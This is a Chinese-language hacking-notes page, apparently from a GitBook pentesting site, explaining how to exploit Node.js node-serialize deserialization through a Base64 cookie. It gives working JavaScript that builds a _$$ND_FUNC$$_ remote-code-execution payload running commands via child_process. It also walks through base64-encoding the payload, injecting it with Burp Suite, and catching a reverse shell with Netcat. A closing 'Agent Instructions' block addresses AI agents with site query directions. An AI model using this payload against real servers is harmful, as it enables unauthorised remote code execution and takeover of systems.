> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/deserialization-attack/node.js-deserialization-base64-pentesting-web.md).

# Node.js 反序列化 Base64

## 反序列化（node.js）

使用 Burp Suite 拦截请求并找到一个 **Base64 编码的 cookie**:

<figure><img src="/files/a4c0d86b178365a7fb0f6d70539b16260ed8981c" alt="" width="563"><figcaption></figcaption></figure>

### **手动：**

该 **serialize.js** 下面的文件会序列化数据并执行一个命令，在本例中 `id`，在 **我们的机器上**:

```javascript
var y = {
 rthis: function(){
 require('child_process').exec('id', function(error, stdout, stderr) { console.log(stdout) });
 }(),
}
var serialize = require('node-serialize');
console.log("Serialized: /n" + serialize.serialize(y));

```

<figure><img src="/files/b7bc60291c1703b00b337b2e4d3355c4b08061b2" alt="" width="534"><figcaption></figcaption></figure>

要将有效载荷发送到 **服务器**，创建 **unserialize.js** 下面的文件：

```javascript
var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function(){require(/'child_process/').exec(/'id/', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);

```

<figure><img src="/files/e1a86f7354f5bbaec81bab83468c906a6050b24b" alt="" width="536"><figcaption></figcaption></figure>

### **自动：**

使用这个 [脚本](https://raw.githubusercontent.com/ajinabraham/Node.Js-Security-Course/master/nodejsshell.py)，上传它，并使用 **python2.7**:

<figure><img src="/files/4d065538b28cc5903e05739843c66d29e6bb1941" alt="" width="563"><figcaption></figcaption></figure>

创建一个名为 `数据` 并包含以下内容，然后将 **输入** 替换为脚本内容：

```json
{"rce":"_$$ND_FUNC$$_function(){input}()"}

```

<figure><img src="/files/5fb66b97a991749c3855404336c66f1e76d72682" alt="" width="563"><figcaption></figcaption></figure>

最后，将此文件转换为 **Base64**:

<figure><img src="/files/0f698d0548db01fc04d97eff9a0902f41598ac68" alt="" width="563"><figcaption></figcaption></figure>

将内容粘贴到 Burp Suite 中：

<figure><img src="/files/7fb7e8a61864f02b6cc097f13f13076591abace8" alt="" width="563"><figcaption></figcaption></figure>

使用 **Netcat**，监听并获取访问权限：

<figure><img src="/files/d499004fa0948cf5776924272da03e1ed64b6777" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/deserialization-attack/node.js-deserialization-base64-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
